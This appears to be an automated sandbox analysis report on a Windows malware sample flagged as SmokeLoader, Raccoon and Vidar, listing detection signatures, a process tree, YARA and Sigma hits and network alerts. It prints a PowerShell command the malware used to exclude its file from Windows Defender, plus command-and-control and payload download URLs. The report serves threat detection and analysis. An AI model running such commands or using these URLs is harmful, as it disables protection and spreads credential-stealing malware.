Play interactive tour

Edit tour

Windows Analysis Report SkB6zJ6H3N.exe

Overview

General Information

Sample Name:	SkB6zJ6H3N.exe
Analysis ID:	511734
MD5:	b8d2d644a3ac5df8af9b3aff803f3347
SHA1:	062e29d59604956a4cffd64fc81cd1c3f72b0ff3
SHA256:	c3f8d6b3e497471cc5e1526d59f7068f0655704f98dca59d79a77b81f1cb7fd5
Tags:	exeRedLineStealer
Infos:
Most interesting Screenshot:

Detection

Raccoon SmokeLoader Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AntiVM3

Yara detected Vidar

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Yara detected Raccoon Stealer

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Found malware configuration

DLL reload attack detected

Benign windows process drops PE files

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Adds a directory exclusion to Windows Defender

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Sample uses process hollowing technique

Renames NTDLL to bypass HIPS

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Sigma detected: Powershell Defender Exclusion

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Antivirus or Machine Learning detection for unpacked file

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Detected TCP or UDP traffic on non-standard ports

Contains functionality to launch a program with higher privileges

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

SkB6zJ6H3N.exe (PID: 6372 cmdline: 'C:\Users\user\Desktop\SkB6zJ6H3N.exe' MD5: B8D2D644A3AC5DF8AF9B3AFF803F3347)

SkB6zJ6H3N.exe (PID: 6536 cmdline: 'C:\Users\user\Desktop\SkB6zJ6H3N.exe' MD5: B8D2D644A3AC5DF8AF9B3AFF803F3347)

explorer.exe (PID: 3292 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

97A5.exe (PID: 6264 cmdline: C:\Users\user~1\AppData\Local\Temp\97A5.exe MD5: B8D2D644A3AC5DF8AF9B3AFF803F3347)

97A5.exe (PID: 5464 cmdline: C:\Users\user~1\AppData\Local\Temp\97A5.exe MD5: B8D2D644A3AC5DF8AF9B3AFF803F3347)

5D4.exe (PID: 5344 cmdline: C:\Users\user~1\AppData\Local\Temp\5D4.exe MD5: F57B28AEC65D4691202B9524F84CC54A)

AdvancedRun.exe (PID: 4288 cmdline: 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

AdvancedRun.exe (PID: 5596 cmdline: 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /SpecialRun 4101d8 4288 MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

powershell.exe (PID: 4756 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 4752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

RegSvcs.exe (PID: 6752 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

EDD.exe (PID: 6868 cmdline: C:\Users\user~1\AppData\Local\Temp\EDD.exe MD5: 787AF677D0C317E8062B9705CB64F951)

192F.exe (PID: 3104 cmdline: C:\Users\user~1\AppData\Local\Temp\192F.exe MD5: 73252ACB344040DDC5D9CE78A5D3A4C2)

319A.exe (PID: 4024 cmdline: C:\Users\user~1\AppData\Local\Temp\319A.exe MD5: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29)

AdvancedRun.exe (PID: 1432 cmdline: 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

69B5.exe (PID: 6140 cmdline: C:\Users\user~1\AppData\Local\Temp\69B5.exe MD5: 539C39A9565CD4B120E5EB121E45C3C2)

32BC.exe (PID: 5540 cmdline: C:\Users\user~1\AppData\Local\Temp\32BC.exe MD5: D02C5BF9533CCE0E9EA3EAFC2F594A49)

cviueca (PID: 6216 cmdline: C:\Users\user\AppData\Roaming\cviueca MD5: B8D2D644A3AC5DF8AF9B3AFF803F3347)

cviueca (PID: 6212 cmdline: C:\Users\user\AppData\Roaming\cviueca MD5: B8D2D644A3AC5DF8AF9B3AFF803F3347)

cviueca (PID: 6504 cmdline: C:\Users\user\AppData\Roaming\cviueca MD5: B8D2D644A3AC5DF8AF9B3AFF803F3347)

cviueca (PID: 2184 cmdline: C:\Users\user\AppData\Roaming\cviueca MD5: B8D2D644A3AC5DF8AF9B3AFF803F3347)

cleanup

Malware Configuration

Threatname: SmokeLoader

{"C2 list": ["http://xacokuo8.top/", "http://hajezey1.top/"]}

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\EDD.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\319A.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\8746.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x4443:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\5D4.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\89D7.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7ae95:$x1: https://cdn.discordapp.com/attachments/ 0x7af49:$x1: https://cdn.discordapp.com/attachments/ 0x7affd:$x1: https://cdn.discordapp.com/attachments/ 0x7b0b1:$x1: https://cdn.discordapp.com/attachments/

Memory Dumps

Source	Rule	Description	Author
00000021.00000002.450724070.00000000047F1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000014.00000002.368853755.00000000004A0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001A.00000002.404074560.00000000004F0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000000.294055792.0000000003111000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000024.00000003.442845982.00000000048A0000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000014.00000002.368895221.00000000004E1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.308080762.0000000001F51000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001D.00000002.419226513.0000000003190000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000021.00000002.449678502.0000000002C10000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001D.00000003.402440778.0000000003190000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001A.00000002.404878363.0000000001F51000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.307863142.0000000000420000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001D.00000002.419361924.00000000031B1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Process Memory Space: 5D4.exe PID: 5344	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 32BC.exe PID: 5540	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
26.1.cviueca.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
4.1.SkB6zJ6H3N.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
19.2.97A5.exe.2cb15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
28.0.EDD.exe.810000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
21.0.cviueca.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
20.1.97A5.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
28.0.EDD.exe.810000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
22.2.cviueca.2c715a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
28.0.EDD.exe.810000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
29.2.192F.exe.3180e50.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
29.2.192F.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
26.2.cviueca.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.0.cviueca.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
27.0.5D4.exe.3b0000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
20.2.97A5.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.2.cviueca.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
27.0.5D4.exe.3b0000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
31.0.319A.exe.d50000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
36.3.32BC.exe.2d741e6.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
31.0.319A.exe.d50000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
21.0.cviueca.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
28.0.EDD.exe.810000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
18.2.cviueca.2d815a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
36.3.32BC.exe.48a0000.0.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
0.2.SkB6zJ6H3N.exe.2be15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
4.2.SkB6zJ6H3N.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
31.0.319A.exe.d50000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
21.1.cviueca.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
27.0.5D4.exe.3b0000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
29.3.192F.exe.3190000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
31.0.319A.exe.d50000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
27.0.5D4.exe.3b0000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
36.3.32BC.exe.48a0000.0.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Click to see the 28 entries

Sigma Overview

System Summary:

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Show sources

Source: Process started

Author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp\5D4.exe, ParentImage: C:\Users\user\AppData\Local\Temp\5D4.exe, ParentProcessId: 5344, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 6752

Sigma detected: Suspicious Script Execution From Temp Folder

Show sources

Source: Process started

Author: Florian Roth, Max Altgelt: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp\5D4.exe, ParentImage: C:\Users\user\AppData\Local\Temp\5D4.exe, ParentProcessId: 5344, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, ProcessId: 4756

Sigma detected: Powershell Defender Exclusion

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp\5D4.exe, ParentImage: C:\Users\user\AppData\Local\Temp\5D4.exe, ParentProcessId: 5344, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, ProcessId: 4756

Sigma detected: Possible Applocker Bypass

Show sources

Source: Process started

Author: juju4: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp\5D4.exe, ParentImage: C:\Users\user\AppData\Local\Temp\5D4.exe, ParentProcessId: 5344, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 6752

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp\5D4.exe, ParentImage: C:\Users\user\AppData\Local\Temp\5D4.exe, ParentProcessId: 5344, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force, ProcessId: 4756

Sigma detected: T1086 PowerShell Execution

Show sources

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132800202358062022.4756.DefaultAppDomain.powershell

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 36.3.32BC.exe.48a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.32BC.exe.48a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000003.442845982.00000000048A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 32BC.exe PID: 5540, type: MEMORYSTR

Antivirus detection for URL or domain

Show sources

Source: http://sysaheu90.top/game.exe	Avira URL Cloud: Label: malware
Source: http://znpst.top/dl/buildz.exe	Avira URL Cloud: Label: malware
Source: http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	Avira URL Cloud: Label: malware
Source: http://toptelete.top/agrybirdsgamerept	Avira URL Cloud: Label: malware
Source: http://xacokuo8.top/	Avira URL Cloud: Label: malware
Source: http://hajezey1.top/	Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: 00000014.00000002.368853755.00000000004A0000.00000004.00000001.sdmp

Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://xacokuo8.top/", "http://hajezey1.top/"]}

Multi AV Scanner detection for domain / URL

Show sources

Source: privacytoolzforyou-6000.top	Virustotal: Detection: 5%	Perma Link
Source: iyc.jelikob.ru	Virustotal: Detection: 12%	Perma Link
Source: mas.to	Virustotal: Detection: 6%	Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\192F.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\319A.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\6DDE.exe	ReversingLabs: Detection: 29%
Source: C:\Users\user\AppData\Local\Temp\75B0.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\86B8.exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Temp\8746.exe	ReversingLabs: Detection: 32%

Machine Learning detection for sample

Show sources

Source: SkB6zJ6H3N.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6DDE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7428.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\cviueca	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8746.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\75B0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\89D7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\eviueca	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\sfiueca	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8E8B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Joe Sandbox ML: detected

Source: 21.0.cviueca.400000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 21.0.cviueca.400000.3.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 21.0.cviueca.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 21.0.cviueca.400000.2.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Source: unknown

HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.7:49829 version: TLS 1.0

Source: SkB6zJ6H3N.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\192F.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.7:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 81.177.141.36:443 -> 192.168.2.7:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.7:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.7:49850 version: TLS 1.2

Source:	Binary string: C:\vojos\fuw.pdb source: 192F.exe, 0000001D.00000000.392199023.0000000000417000.00000002.00020000.sdmp, sfiueca.7.dr
Source:	Binary string: C:\kelut\takemiv\botuw31-mejosek-li.pdb source: 69B5.exe, 69B5.exe.7.dr
Source:	Binary string: C:\pewa75 firecogiw\gugegowul49\geresegate_micicipu.pdbp source: 8E8B.exe.7.dr
Source:	Binary string: c:\Projects\VS2005\AdvancedRun\Release\AdvancedRun.pdb source: AdvancedRun.exe, 00000020.00000000.407285900.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 00000023.00000002.433249054.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000002A.00000000.454048622.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe.31.dr
Source:	Binary string: C:\pewa75 firecogiw\gugegowul49\geresegate_micicipu.pdb source: 8E8B.exe.7.dr
Source:	Binary string: C:\moliyuwod_vofadarecayu\dezuvacux.pdb source: SkB6zJ6H3N.exe
Source:	Binary string: cC:\moliyuwod_vofadarecayu\dezuvacux.pdb` source: SkB6zJ6H3N.exe
Source:	Binary string: C:\lewusukoviv.pdb source: 7428.exe.7.dr
Source:	Binary string: wntdll.pdbUGP source: 192F.exe, 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, 1105.tmp.29.dr
Source:	Binary string: wntdll.pdb source: 192F.exe, 1105.tmp.29.dr
Source:	Binary string: XC:\meyobiti_bigenubixa\zicax4_tupewacuz\mepuyajuyen.pdb` source: 32BC.exe.7.dr
Source:	Binary string: WC:\kelut\takemiv\botuw31-mejosek-li.pdb` source: 69B5.exe, 00000021.00000000.408654637.0000000000401000.00000020.00020000.sdmp, 69B5.exe.7.dr
Source:	Binary string: C:\lewusukoviv.pdb` source: 7428.exe.7.dr
Source:	Binary string: C:\tosofom\yopuk.pdb source: 75B0.exe.7.dr
Source:	Binary string: C:\siyihoy haxuhanetaxohe\xepokupajalo99\lave.pdb` source: 6DDE.exe.7.dr
Source:	Binary string: C:\meyobiti_bigenubixa\zicax4_tupewacuz\mepuyajuyen.pdb source: 32BC.exe.7.dr
Source:	Binary string: C:\siyihoy haxuhanetaxohe\xepokupajalo99\lave.pdb source: 6DDE.exe.7.dr

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.7:49841 -> 194.180.174.181:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.7:49863 -> 194.180.174.181:80
